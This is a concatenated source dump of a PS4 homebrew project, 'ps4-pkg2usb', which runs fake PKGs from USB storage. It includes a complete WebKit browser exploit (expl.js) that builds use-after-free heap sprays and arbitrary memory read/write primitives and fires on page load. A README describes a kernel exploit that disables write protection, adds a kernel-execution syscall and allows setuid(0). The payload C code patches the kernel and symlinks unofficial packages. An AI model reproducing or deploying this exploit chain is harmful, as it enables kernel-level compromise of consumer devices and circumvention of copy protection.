| pconfig->notify = atoi(value); 192 | } else 193 | if (MATCH("shutdown")) { 194 | pconfig->shutdown = atoi(value); 195 | }; 196 | 197 | return 1; 198 | } 199 | 200 | int _main(struct thread *td) 201 | { 202 | char title_id[64]; 203 | char usb_name[64]; 204 | char usb_path[64]; 205 | char cfg_path[64]; 206 | char msg[64]; 207 | //int progress; 208 | 209 | // Init and resolve libraries 210 | initKernel(); 211 | initLibc(); 212 | initPthread(); 213 | 214 | #ifdef DEBUG_SOCKET 215 | initNetwork(); 216 | initDebugSocket(); 217 | #endif 218 | 219 | // patch some things in the kernel (sandbox, prison, debug settings etc..) 220 | syscall(11,kpayload,td); 221 | 222 | initSysUtil(); 223 | 224 | config.title_id = ""; 225 | config.copy = 1; 226 | //config.split = 0; 227 | config.notify = 60; 228 | config.shutdown = 0; 229 | 230 | nthread_run = 1; 231 | notify_buf[0] = '\0'; 232 | ScePthread nthread; 233 | scePthreadCreate(&nthread, NULL, nthread_func, NULL, "nthread"); 234 | 235 | notify("Welcome to ps4-pkg2usb v"VERSION); 236 | sceKernelSleep(5); 237 | 238 | if (!wait_for_usb(usb_name, usb_path)) 239 | { 240 | sprintf(notify_buf, "Waiting for USB disk..."); 241 | do { 242 | sceKernelSleep(1); 243 | } 244 | while (!wait_for_usb(usb_name, usb_path)); 245 | notify_buf[0] = '\0'; 246 | } 247 | 248 | sprintf(cfg_path, "%s/%s", usb_path, CONFIG_FILE); 249 | 250 | if (!file_exists(cfg_path)) { 251 | sprintf(msg, "Error: %s is missing!", CONFIG_FILE); 252 | notify(msg); 253 | return -1; 254 | } 255 | 256 | cfg_parse(cfg_path, config_handler, &config); 257 | 258 | sprintf(title_id, config.title_id); 259 | 260 | if (strlen(title_id) == 0) { 261 | sprintf(msg, "Error: title_id is missing in config!"); 262 | notify(msg); 263 | return -1; 264 | } 265 | 266 | link_pkg(title_id, usb_path); 267 | 268 | nthread_run = 0; 269 | 270 | printfsocket("Bye!\n\n"); 271 | 272 | #ifdef DEBUG_SOCKET 273 | closeDebugSocket(); 274 | #endif 275 | 276 | // Reboot PS4 277 | if (config.shutdown) 278 | { 279 | int evf = syscall(540, "SceSysCoreReboot"); 280 | syscall(546, evf, 0x4000, 0); 281 | syscall(541, evf); 282 | syscall(37, 1, 30); 283 | } 284 | 285 | return 0; 286 | } 287 | -------------------------------------------------------------------------------- /405/source/pkg.c: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2013 Hykem 2 | // Licensed under the terms of the GNU GPL, version 2 3 | // http://www.gnu.org/licenses/gpl-2.0.txt 4 | 5 | #include "ps4.h" 6 | #include "defines.h" 7 | #include "debug.h" 8 | #include "pkg.h" 9 | 10 | #define EOF '\00' 11 | 12 | // Helper functions. 13 | static inline uint16_t bswap_16(uint16_t val) 14 | { 15 | return ((val & (uint16_t)0x00ffU) << 8) 16 | | ((val & (uint16_t)0xff00U) >> 8); 17 | } 18 | 19 | static inline uint32_t bswap_32(uint32_t val) 20 | { 21 | return ((val & (uint32_t)0x000000ffUL) << 24) 22 | | ((val & (uint32_t)0x0000ff00UL) << 8) 23 | | ((val & (uint32_t)0x00ff0000UL) >> 8) 24 | | ((val & (uint32_t)0xff000000UL) >> 24); 25 | } 26 | 27 | int isfpkg(char *pkgfn) { 28 | int result = 0; 29 | 30 | FILE *in = NULL; 31 | struct cnt_pkg_main_header m_header; 32 | struct cnt_pkg_content_header c_header; 33 | memset(&m_header, 0, sizeof(struct cnt_pkg_main_header)); 34 | memset(&c_header, 0, sizeof(struct cnt_pkg_content_header)); 35 | 36 | if ((in = fopen(pkgfn, "rb")) == NULL) 37 | { 38 | //printfsocket("File not found!\n"); 39 | result = 1; 40 | goto exit; 41 | } 42 | 43 | fseek(in, 0, SEEK_SET); 44 | fread(&m_header, 1, 0x180, in); 45 | 46 | if (m_header.magic != PS4_PKG_MAGIC) 47 | { 48 | //printfsocket("Invalid PS4 PKG Magic file!\n"); 49 | result = 2; 50 | goto exit; 51 | } 52 | 53 | if (bswap_32(m_header.type) != 1) 54 | { 55 | //printfsocket("Invalid PS4 PKG Type file!\n"); 56 | result = 3; 57 | goto exit; 58 | } 59 | 60 | /* 61 | printfsocket("PS4 PKG header:\n"); 62 | printfsocket("- PKG magic: 0x%X\n", bswap_32(m_header.magic)); 63 | printfsocket("- PKG type: 0x%X\n", bswap_32(m_header.type)); 64 | printfsocket("- PKG table entries: %d\n", bswap_16(m_header.table_entries_num)); 65 | printfsocket("- PKG system entries: %d\n", bswap_16(m_header.system_entries_num)); 66 | printfsocket("- PKG table offset: 0x%X\n", bswap_32(m_header.file_table_offset)); 67 | printfsocket("\n"); 68 | */ 69 | 70 | exit: 71 | fclose(in); 72 | 73 | return result; 74 | } -------------------------------------------------------------------------------- /405/source/utils.c: -------------------------------------------------------------------------------- 1 | #include "ps4.h" 2 | #include "defines.h" 3 | #include "debug.h" 4 | #include "utils.h" 5 | #include "main.h" 6 | #include "elf64.h" 7 | #include "pkg.h" 8 | 9 | #define TRUE 1 10 | #define FALSE 0 11 | 12 | #define BUFFER_SIZE 65536 13 | 14 | extern int run; 15 | 16 | int symlink(const char *pathname, const char *slink) { 17 | return syscall(57, pathname, slink); 18 | } 19 | 20 | int symlinkat(const char *pathname, int newdirfd, const char *slink) { 21 | return syscall(502, pathname, newdirfd, slink); 22 | } 23 | 24 | int lstat(const char *pathname, struct stat *buf) { 25 | return syscall(190, pathname, buf); //40 old syscall 26 | } 27 | 28 | int wait_for_usb(char *usb_name, char *usb_path) 29 | { 30 | FILE *out = fopen("/mnt/usb0/.probe", "wb"); 31 | if (!out) 32 | { 33 | out = fopen("/mnt/usb1/.probe", "wb"); 34 | if (!out) 35 | { 36 | return 0; 37 | } 38 | else 39 | { 40 | unlink("/mnt/usb1/.probe"); 41 | sprintf(usb_name, "%s", "USB1"); 42 | sprintf(usb_path, "%s", "/mnt/usb1"); 43 | } 44 | } 45 | else 46 | { 47 | unlink("/mnt/usb0/.probe"); 48 | sprintf(usb_name, "%s", "USB0"); 49 | sprintf(usb_path, "%s", "/mnt/usb0"); 50 | } 51 | fclose(out); 52 | 53 | return 1; 54 | } 55 | 56 | off_t file_size(const char *filename) { 57 | struct stat st; 58 | 59 | if (stat(filename, &st) == 0) 60 | return st.st_size; 61 | 62 | return -1; 63 | } 64 | 65 | int file_exists(char *fname) 66 | { 67 | FILE *file = fopen(fname, "rb"); 68 | if (file) 69 | { 70 | fclose(file); 71 | return 1; 72 | } 73 | return 0; 74 | } 75 | 76 | int dir_exists(char *dname) 77 | { 78 | DIR *dir = opendir(dname); 79 | 80 | if (dir) 81 | { 82 | /* Directory exists. */ 83 | closedir(dir); 84 | return 1; 85 | } 86 | return 0; 87 | } 88 | 89 | int symlink_exists(const char* fname) 90 | { 91 | struct stat statbuf; 92 | 93 | if (lstat(fname, &statbuf) < 0) { 94 | //error occured 95 | return -1; 96 | } 97 | 98 | if (S_ISLNK(statbuf.st_mode) == 1) { 99 | //symbolic link; 100 | return 1; 101 | } else { 102 | //NOT a symbolic link; 103 | return 0; 104 | } 105 | } 106 | 107 | char* chop(char *string) 108 | { 109 | char *ptr; 110 | 111 | ptr = strrchr(string, '\r'); 112 | if (ptr) *ptr = '\0'; 113 | 114 | ptr = strrchr(string, '\n'); 115 | if (ptr) *ptr = '\0'; 116 | 117 | return string; 118 | } 119 | 120 | /* 121 | void _mkdir(const char *dir) 122 | { 123 | char tmp[256]; 124 | char *p = NULL; 125 | 126 | snprintf(tmp, sizeof(tmp), "%s", dir); 127 | for (p = tmp + 1; *p; p++) 128 | { 129 | if (*p == '/') 130 | { 131 | *p = 0; 132 | mkdir(tmp, 0777); 133 | *p = '/'; 134 | } 135 | } 136 | } 137 | 138 | char *read_string(FILE* f) 139 | { 140 | char *string = malloc(sizeof(char) * 256); 141 | int c; 142 | int length = 0; 143 | if (!string) return string; 144 | while((c = fgetc(f)) != EOF) 145 | { 146 | string[length++] = c; 147 | } 148 | string[length++] = '\0'; 149 | 150 | return realloc(string, sizeof(char) * length); 151 | } 152 | 153 | static inline int fgetc(FILE *fp) 154 | { 155 | char c; 156 | 157 | if (fread(&c, 1, 1, fp) == 0) 158 | return (EOF); 159 | return (c); 160 | } 161 | */ -------------------------------------------------------------------------------- /405/tool/Makefile: -------------------------------------------------------------------------------- 1 | all: bin2js 2 | 3 | bin2js: bin2js.c 4 | gcc -o bin2js bin2js.c 5 | 6 | .PHONY: clean 7 | 8 | clean: 9 | rm bin2js 10 | -------------------------------------------------------------------------------- /405/tool/bin2js.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char** argv) 5 | { 6 | assert(argc == 2); 7 | char* fn = argv[1]; 8 | FILE* f = fopen(fn, "r"); 9 | printf("var payload = ["); 10 | while(!feof(f)) 11 | { 12 | unsigned long ul; 13 | if(fread(&ul, 4, 1, f) == 0) break; 14 | printf((ul > 9) ? "0x%X," : "%d,", (int)ul); 15 | } 16 | printf("0];\n"); 17 | fclose(f); 18 | } 19 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | LIBPS4 := $(PS4SDK455)/libPS4 2 | 3 | TEXT := 0x926200000 4 | DATA := 0x926300000 5 | 6 | CC := gcc 7 | AS := gcc 8 | OBJCOPY := objcopy 9 | ODIR := build 10 | SDIR := source 11 | IDIRS := -I$(LIBPS4)/include -I. -Iinclude 12 | LDIRS := -L$(LIBPS4) -L. -Llib 13 | CFLAGS := $(IDIRS) -Os -std=gnu11 -fno-builtin -nostartfiles -nostdlib -Wall -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large 14 | SFLAGS := -nostartfiles -nostdlib -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large 15 | LFLAGS := $(LDIRS) -Xlinker -T $(LIBPS4)/linker.x -Wl,--build-id=none -Ttext=$(TEXT) -Tdata=$(DATA) 16 | CFILES := $(wildcard $(SDIR)/*.c) 17 | SFILES := $(wildcard $(SDIR)/*.s) 18 | OBJS := $(patsubst $(SDIR)/%.c, $(ODIR)/%.o, $(CFILES)) $(patsubst $(SDIR)/%.s, $(ODIR)/%.o, $(SFILES)) 19 | 20 | LIBS := -lPS4 21 | 22 | TARGET = $(shell basename $(CURDIR)).bin 23 | 24 | $(TARGET): $(ODIR) $(OBJS) 25 | $(CC) $(LIBPS4)/crt0.s $(ODIR)/*.o -o temp.t $(CFLAGS) $(LFLAGS) $(LIBS) 26 | $(OBJCOPY) -O binary temp.t $(TARGET) 27 | rm -f temp.t 28 | 29 | $(ODIR)/%.o: $(SDIR)/%.c 30 | $(CC) -c -o $@ $< $(CFLAGS) 31 | 32 | $(ODIR)/%.o: $(SDIR)/%.s 33 | $(AS) -c -o $@ $< $(SFLAGS) 34 | 35 | $(ODIR): 36 | @mkdir $@ 37 | 38 | .PHONY: clean 39 | 40 | clean: 41 | rm -f $(TARGET) $(ODIR)/*.o 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PS4 PKG2USB – Dump and run Fake PKGs on USB – 4.05/4.55 Payload by SiSTRo 2 | 3 | This is a PS4 payload (based on Vortex’s dumper) to dump and run fake PKGs on USB. 4 | 5 | 6 | 7 | - USB drive must be formatted to exFAT 8 | 9 | - works only with fpkg (not official pkg) 10 | 11 | - game/app have to be before installed as usually on internal storage 12 | 13 | - copy ps4-pkg2usb.cfg to usb root 14 | 15 | - edit config title_id with game/app title_id 16 | 17 | - always use the same USB port that when you installed game 18 | 19 | - to reinstall game to internal hdd, remove and reinstall as usual 20 | 21 | 22 | 23 | tip: if you still have the pkg and you want to avoid wasting time waiting for the file to be copied from the payload on the USB HDD, 24 | copy the pkg to X:\PS4\CUSAxxxxx\app.pkg 25 | -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | pushd tool 6 | make 7 | popd 8 | 9 | make 10 | 11 | tool/bin2js ps4-pkg2usb.bin > exploit/payload.js 12 | -------------------------------------------------------------------------------- /clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | pushd tool 4 | make clean 5 | popd 6 | 7 | make clean 8 | 9 | rm -f *.bin 10 | -------------------------------------------------------------------------------- /exploit/README.md: -------------------------------------------------------------------------------- 1 | # PS4 4.05 Kernel Exploit 2 | --- 3 | ## Summary 4 | In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release contain game Dumper for PS4 payload code by Vortex 5 | 6 | You can find fail0verflow's original write-up on the bug [here](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/), you can find my technical write-up which dives more into implementation specifics [here](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/%22NamedObj%22%204.05%20Kernel%20Exploit%20Writeup.md). 7 | 8 | ## Patches Included 9 | The following patches are made by default in the kernel ROP chain: 10 | 1) Disable kernel write protection 11 | 2) Allow RWX (read-write-execute) memory mapping 12 | 3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process 13 | 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode 14 | 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation. 15 | 6) Game dumper for PS4 payload code by Vortex 16 | 17 | ## Notes 18 | - This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel. 19 | - I've built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads. 20 | - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel. 21 | - An SDK is not provided in this release, however a barebones one to get started with may be released at a later date. 22 | 23 | ## Contributors 24 | I was not alone in this exploit's development, and would like to thank those who helped me along the way below. 25 | 26 | - [qwertyoruiopz](https://twitter.com/qwertyoruiopz) 27 | - [Flatz](https://twitter.com/flat_z) 28 | - [CTurt](https://twitter.com/CTurtE) 29 | - [IDC](https://twitter.com/3226_2143) 30 | - Anonymous 31 | -------------------------------------------------------------------------------- /exploit/expl.js: -------------------------------------------------------------------------------- 1 | /* Set up variables that will be used later on */ 2 | var _dview; 3 | 4 | /* 5 | Zero out a buffer 6 | */ 7 | function zeroFill( number, width ) 8 | { 9 | width -= number.toString().length; 10 | if ( width > 0 ) 11 | { 12 | return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number; 13 | } 14 | return number + ""; // always return a string 15 | } 16 | 17 | /* 18 | Int64 library for address operations 19 | */ 20 | function int64(low,hi) { 21 | this.low = (low>>>0); 22 | this.hi = (hi>>>0); 23 | this.add32inplace = function(val) { 24 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 25 | var new_hi = (this.hi >>> 0); 26 | if (new_lo < this.low) { 27 | new_hi++; 28 | } 29 | this.hi=new_hi; 30 | this.low=new_lo; 31 | } 32 | this.add32 = function(val) { 33 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 34 | var new_hi = (this.hi >>> 0); 35 | if (new_lo < this.low) { 36 | new_hi++; 37 | } 38 | return new int64(new_lo, new_hi); 39 | } 40 | this.sub32 = function(val) { 41 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 42 | var new_hi = (this.hi >>> 0); 43 | if (new_lo > (this.low) & 0xFFFFFFFF) { 44 | new_hi--; 45 | } 46 | return new int64(new_lo, new_hi); 47 | } 48 | this.sub32inplace = function(val) { 49 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 50 | var new_hi = (this.hi >>> 0); 51 | if (new_lo > (this.low) & 0xFFFFFFFF) { 52 | new_hi--; 53 | } 54 | this.hi=new_hi; 55 | this.low=new_lo; 56 | } 57 | this.and32 = function(val) { 58 | var new_lo = this.low & val; 59 | var new_hi = this.hi; 60 | return new int64(new_lo, new_hi); 61 | } 62 | this.and64 = function(vallo, valhi) { 63 | var new_lo = this.low & vallo; 64 | var new_hi = this.hi & valhi; 65 | return new int64(new_lo, new_hi); 66 | } 67 | this.toString = function(val) { 68 | val = 16; // eh 69 | var lo_str = (this.low >>> 0).toString(val); 70 | var hi_str = (this.hi >>> 0).toString(val); 71 | if(this.hi == 0) return lo_str; 72 | else { 73 | lo_str = zeroFill(lo_str, 8) 74 | } 75 | return hi_str+lo_str; 76 | } 77 | this.toPacked = function() { 78 | return {hi: this.hi, low: this.low}; 79 | } 80 | this.setPacked = function(pck) { 81 | this.hi=pck.hi; 82 | this.low=pck.low; 83 | return this; 84 | } 85 | 86 | return this; 87 | } 88 | 89 | var memPressure = new Array(400); // For forcing GC via memory pressure 90 | var stackFrame = []; // Our fake stack in memory 91 | var frameIndex = 0; // Set index in fake stack to 0 (0xFF00) 92 | var stackPeek = 0; 93 | 94 | /* Force garbage collection via memory pressure */ 95 | var doGarbageCollection = function() 96 | { 97 | /* Apply memory pressure */ 98 | for (var i = 0; i < memPressure.length; i++) 99 | { 100 | memPressure[i] = new Uint32Array(0x10000); 101 | } 102 | 103 | /* Zero out the buffer */ 104 | for (var i = 0; i < memPressure.length; i++) 105 | { 106 | memPressure[i] = 0; 107 | } 108 | } 109 | 110 | /* For peeking the stack (reading) */ 111 | function peek_stack() 112 | { 113 | var mem; 114 | var retno; 115 | var oldRetno; 116 | 117 | /* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */ 118 | retno = 0xFFFF; 119 | 120 | arguments.length = 121 | { 122 | valueOf: function() 123 | { 124 | oldRetno = retno; 125 | retno = 1; 126 | return oldRetno; 127 | } 128 | } 129 | 130 | /* 131 | What this essentially does is when function.prototype.apply() is called, it will 132 | check arguments length. Where it should return 1 (the actual size), it actually 133 | returns 0xFFFF due to the function above. This allows an out-of-bounds read 134 | on the stack, and allows us to control uninitialized memory regions 135 | */ 136 | var args = arguments; 137 | 138 | (function() { 139 | (function() { 140 | (function() { 141 | mem = arguments[0xFF00]; 142 | }).apply(undefined, args); 143 | }).apply(undefined, stackFrame); 144 | }).apply(undefined, stackFrame); 145 | 146 | stackPeek = mem; 147 | 148 | return mem; 149 | } 150 | 151 | /* For poking the stack (writing) */ 152 | function poke_stack(val) 153 | { 154 | /* Set stack frame value @ frameIndex */ 155 | stackFrame[frameIndex] = val; 156 | 157 | /* Apply to uninitialized memory region on the stack */ 158 | (function() { 159 | (function() { 160 | (function() { 161 | }).apply(null, stackFrame); 162 | }).apply(null, stackFrame); 163 | }).apply(null, stackFrame); 164 | 165 | /* Clear value in stack frame @ frameIndex as it's been applied already */ 166 | stackFrame[frameIndex] = ""; 167 | } 168 | 169 | /* Run exploit PoC */ 170 | function run() { 171 | try 172 | { 173 | /* 174 | Set each integer in the stackframe to it's index, this way we can peek 175 | the stack to align it 176 | */ 177 | for(var i = 0; i < 0xFFFF; i++) 178 | { 179 | stackFrame[i] = i; 180 | } 181 | 182 | /* 183 | Attempt to poke and peek the stack. If the peek returns null, it means 184 | the out-of-bounds read failed, throw an exception and catch it. 185 | */ 186 | frameIndex = 0; 187 | poke_stack(0); 188 | 189 | if (peek_stack() == undefined) { 190 | throw "System is not vulnerable!"; 191 | } 192 | 193 | /* Setup our stack frame so our target object reference resides inside of it */ 194 | frameIndex = 0; 195 | poke_stack(0); 196 | 197 | peek_stack(); 198 | frameIndex = stackPeek; 199 | 200 | /* Align the stack frame */ 201 | poke_stack(0x4141); 202 | 203 | for (var align = 0; align < 8; align++) 204 | (function(){})(); 205 | 206 | /* Test if we aligned our stack frame properly, if not throw exception and catch */ 207 | peek_stack(); 208 | 209 | if (stackPeek != 0x4141) 210 | { 211 | throw "Couldn't align stack frame to stack!"; 212 | } 213 | 214 | /* Setup spray to overwrite the length header in UAF'd object's butterfly */ 215 | var butterflySpray = new Array(0x1000); 216 | 217 | for (var i = 0; i < 0x1000; i++) 218 | { 219 | butterflySpray[i] = []; 220 | 221 | for (var k = 0; k < 0x40; k++) 222 | { 223 | butterflySpray[i][k] = 0x42424242; 224 | } 225 | 226 | butterflySpray[i].unshift(butterflySpray[i].shift()); 227 | } 228 | 229 | /* Spray marked space */ 230 | var sprayOne = new Array(0x100); 231 | 232 | for (var i = 0; i < 0x100; i++) 233 | { 234 | sprayOne[i] = [1]; 235 | 236 | if (!(i & 3)) 237 | { 238 | for (var k = 0; k < 0x8; k++) 239 | { 240 | sprayOne[i][k] = 0x43434343; 241 | } 242 | } 243 | 244 | sprayOne[i].unshift(sprayOne[i].shift()); 245 | } 246 | 247 | var sprayTwo = new Array(0x400); 248 | 249 | for (var i = 0; i < 0x400; i++) 250 | { 251 | sprayTwo[i] = [2]; 252 | 253 | if (!(i & 3)) 254 | { 255 | for (var k = 0; k < 0x80; k++) 256 | { 257 | sprayTwo[i][k] = 0x43434343; 258 | } 259 | } 260 | 261 | sprayTwo[i].unshift(sprayTwo[i].shift()); 262 | } 263 | 264 | /* Setup target object for UAF, spray */ 265 | var uafTarget = []; 266 | 267 | for (var i = 0; i < 0x80; i++) { 268 | uafTarget[i] = 0x42420000; 269 | } 270 | 271 | /* Store target on the stack to maintain a reference after forced garbage collection */ 272 | poke_stack(uafTarget); 273 | 274 | /* Remove references so they're free'd when garbage collection occurs */ 275 | uafTarget = 0; 276 | sprayOne = 0; 277 | sprayTwo = 0; 278 | 279 | /* Force garbage collection */ 280 | for (var k = 0; k < 4; k++) 281 | doGarbageCollection(); 282 | 283 | /* Re-collect our maintained reference from the stack */ 284 | peek_stack(); 285 | uafTarget = stackPeek; 286 | 287 | stackPeek = 0; 288 | 289 | /* 290 | We now have access to uninitialized memory, force a heap overflow by 291 | overwriting the "length" field of our UAF'd object's butterfly via spraying 292 | */ 293 | for (var i = 0; i < 0x1000; i++) 294 | { 295 | for (var k = 0x0; k < 0x80; k++) 296 | { 297 | butterflySpray[i][k] = 0x7FFFFFFF; 298 | 299 | /* 300 | Find our UAF'd object via modified length, which should be the maximum 301 | value for a 32-bit integer. If it is, we've successfully primitive our 302 | butterfly's length header! 303 | */ 304 | if (uafTarget.length == 0x7FFFFFFF) 305 | { 306 | /* Store index of butterfly for UAF'd object for primitiveSpray */ 307 | var butterflyIndex = i; 308 | 309 | /* Remove all references except what we need to free memory */ 310 | for (var i = 0; i < butterflyIndex; i++) 311 | butterflySpray[i] = 0; 312 | 313 | for (var i = butterflyIndex + 1; i < 0x1000; i++) 314 | butterflySpray[i] = 0; 315 | 316 | doGarbageCollection(); 317 | 318 | /* Spray to obtain a read/write primitive */ 319 | var primitiveSpray = new Array(0x20000); 320 | var potentialPrim = new ArrayBuffer(0x1000); 321 | 322 | for (var i = 0; i < 0x20000; i++) 323 | { 324 | primitiveSpray[i] = i; 325 | } 326 | 327 | var overlap = new Array(0x80); 328 | 329 | /* Setup potential uint32array slaves for our read/write primitive */ 330 | for (var i = 0; i < 0x20000; i++) 331 | { 332 | primitiveSpray[i] = new Uint32Array(potentialPrim); 333 | } 334 | 335 | /* Find a slave uint32array from earlier spray */ 336 | var currentQword = 0x10000; 337 | var found = false; 338 | var smashedButterfly = new int64(0,0); 339 | var origData = new int64(0, 0); 340 | var locateHelper = new int64(0, 0); 341 | 342 | while (!found) 343 | { 344 | /* 345 | Change qword value for uint32array size to 0x1337 in UAF'd object 346 | to defeat U-ASLR 347 | */ 348 | var savedVal = uafTarget[currentQword]; 349 | uafTarget[currentQword] = 0x1337; 350 | 351 | /* Check sprayed uint32array slaves for modified size */ 352 | for (var i = 0; i < 0x20000; i++) 353 | { 354 | if (primitiveSpray[i] && primitiveSpray[i].byteLength != 0x1000) 355 | { 356 | /* 357 | Found our primitive! Restore uint32array size as 0x1000 is 358 | sufficient. 359 | */ 360 | uafTarget[currentQword] = savedVal; 361 | 362 | var primitive = primitiveSpray[i]; 363 | var overlap = [1337]; 364 | 365 | uafTarget[currentQword - 5] = overlap; 366 | 367 | smashedButterfly.low = primitive[2]; 368 | smashedButterfly.hi = primitive[3]; 369 | smashedButterfly.keep_gc = overlap; 370 | 371 | /* Find previous ArrayBufferView */ 372 | uafTarget[currentQword - 5] = uafTarget[currentQword - 2]; 373 | 374 | butterflySpray[butterflyIndex][k] = 0; 375 | 376 | origData.low = primitive[4]; 377 | origData.hi = primitive[5]; 378 | 379 | primitive[4] = primitive[12]; 380 | primitive[5] = primitive[13]; 381 | primitive[14] = 0x40; 382 | 383 | /* Find our uint32array slave for writing values */ 384 | var slave = undefined; 385 | 386 | for (var k = 0; k < 0x20000; k++) 387 | { 388 | if (primitiveSpray[k].length == 0x40) 389 | { 390 | slave = primitiveSpray[k]; 391 | break; 392 | } 393 | } 394 | 395 | if(!slave) 396 | throw "Could not find slave for write primitive!"; 397 | 398 | /* Set primitive address to that of the smashed butterfly's */ 399 | primitive[4] = smashedButterfly.low; 400 | primitive[5] = smashedButterfly.hi; 401 | 402 | /* Setup primitive and slave for primitive functions */ 403 | overlap[0] = uafTarget; 404 | 405 | var targetEntry = new int64(slave[0], slave[1]); 406 | 407 | primitive[4] = targetEntry.low; 408 | primitive[5] = targetEntry.hi; 409 | slave[2] = 0; 410 | slave[3] = 0; 411 | 412 | /* Clear references for future collection from GC */ 413 | uafTarget = 0; 414 | primitiveSpray = 0; 415 | 416 | /* Finally restore primitive address to it's original state */ 417 | primitive[4] = origData.low; 418 | primitive[5] = origData.hi; 419 | 420 | /* 421 | Derive primitive functions 422 | */ 423 | 424 | /* Purpose: Leak object addresses for ASLR defeat */ 425 | var leakval = function(obj) 426 | { 427 | primitive[4] = smashedButterfly.low; 428 | primitive[5] = smashedButterfly.hi; 429 | 430 | overlap[0] = obj; 431 | 432 | var val = new int64(slave[0], slave[1]); 433 | 434 | slave[0] = 1337; 435 | slave[1] = 0xffff0000; 436 | 437 | primitive[4] = origData.low; 438 | primitive[5] = origData.hi; 439 | 440 | return val; 441 | } 442 | 443 | /* Purpose: Create a value (used for checking the primitive) */ 444 | var createval = function(val) 445 | { 446 | primitive[4] = smashedButterfly.low; 447 | primitive[5] = smashedButterfly.hi; 448 | 449 | slave[0] = val.low; 450 | slave[1] = val.hi; 451 | 452 | var val = overlap[0]; 453 | 454 | slave[0] = 1337; 455 | slave[1] = 0xffff0000; 456 | 457 | primitive[4] = origData.low; 458 | primitive[5] = origData.hi; 459 | 460 | return val; 461 | } 462 | 463 | /* Purpose: Read 32-bits (or 4 bytes) from address */ 464 | var read32 = function(addr) 465 | { 466 | primitive[4] = addr.low; 467 | primitive[5] = addr.hi; 468 | 469 | var val = slave[0]; 470 | 471 | primitive[4] = origData.low; 472 | primitive[5] = origData.hi; 473 | 474 | return val; 475 | } 476 | 477 | /* Purpose: Read 64-bits (or 8 bytes) from address */ 478 | var read64 = function(addr) 479 | { 480 | primitive[4] = addr.low; 481 | primitive[5] = addr.hi; 482 | 483 | var val = new int64(slave[0], slave[1]); 484 | 485 | primitive[4] = origData.low; 486 | primitive[5] = origData.hi; 487 | 488 | return val; 489 | } 490 | 491 | /* Purpose: Write 32-bits (or 4 bytes) to address */ 492 | var write32 = function(addr, val) 493 | { 494 | primitive[4] = addr.low; 495 | primitive[5] = addr.hi; 496 | 497 | slave[0] = val; 498 | 499 | primitive[4] = origData.low; 500 | primitive[5] = origData.hi; 501 | } 502 | 503 | /* Purpose: Write 64-bits (or 8 bytes) to address */ 504 | var write64 = function(addr, val) 505 | { 506 | primitive[4] = addr.low; 507 | primitive[5] = addr.hi; 508 | 509 | if (val == undefined) 510 | { 511 | val = new int64(0,0); 512 | } 513 | if (!(val instanceof int64)) 514 | { 515 | val = new int64(val,0); 516 | } 517 | 518 | slave[0] = val.low; 519 | slave[1] = val.hi; 520 | 521 | primitive[4] = origData.low; 522 | primitive[5] = origData.hi; 523 | } 524 | 525 | if (createval(leakval(0x1337)) != 0x1337) { 526 | throw "Primitive is broken, jsvalue leaked does not match jsvalue created!"; 527 | } 528 | 529 | var testData = [1,2,3,4,5,6,7,8]; 530 | 531 | var testAddr = leakval(testData); 532 | 533 | var butterflyAddr = read64(testAddr.add32(8)); 534 | 535 | if ((butterflyAddr.low == 0 && butterflyAddr.hi == 0) || createval(read64(butterflyAddr)) != 1) { 536 | throw "Primitive is broken, either butterfly address is null or object is not a valid jsvalue!"; 537 | } 538 | 539 | if (window.postexploit) { 540 | window.postexploit({ 541 | read4: read32, 542 | read8: read64, 543 | write4: write32, 544 | write8: write64, 545 | leakval: leakval, 546 | createval: createval 547 | }); 548 | } 549 | return 2; 550 | } 551 | } 552 | uafTarget[currentQword] = savedVal; 553 | currentQword ++; 554 | } 555 | } 556 | } 557 | } 558 | /* 559 | If we ended up here, the exploit failed to find our resized object/we were 560 | not able to modify the UaF'd target's length :( 561 | */ 562 | return 1; 563 | } 564 | catch (e) 565 | { 566 | alert(e); 567 | } 568 | } 569 | 570 | //window.onload = function() { document.getElementById("clck").innerHTML = 'go'; }; 571 | window.onload = function() { run(); }; -------------------------------------------------------------------------------- /exploit/fix.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define KERN_XFAST_SYSCALL 0x30EB30 4 | #define KERN_MALLOC 0x1D1700 5 | #define KERN_FREE 0x1D18D0 6 | #define KERN_PRINTF 0x347580 7 | 8 | int main(void) 9 | { 10 | int i; 11 | void *addr; 12 | uint8_t *ptrKernel; 13 | 14 | int (*printf)(const char *fmt, ...) = NULL; 15 | void *(*malloc)(unsigned long size, void *type, int flags) = NULL; 16 | void (*free)(void *addr, void *type) = NULL; 17 | 18 | // Get kbase and resolve kernel symbols 19 | ptrKernel = (uint8_t *)(rdmsr(0xc0000082) - KERN_XFAST_SYSCALL); 20 | malloc = (void *)&ptrKernel[KERN_MALLOC]; 21 | free = (void *)&ptrKernel[KERN_FREE]; 22 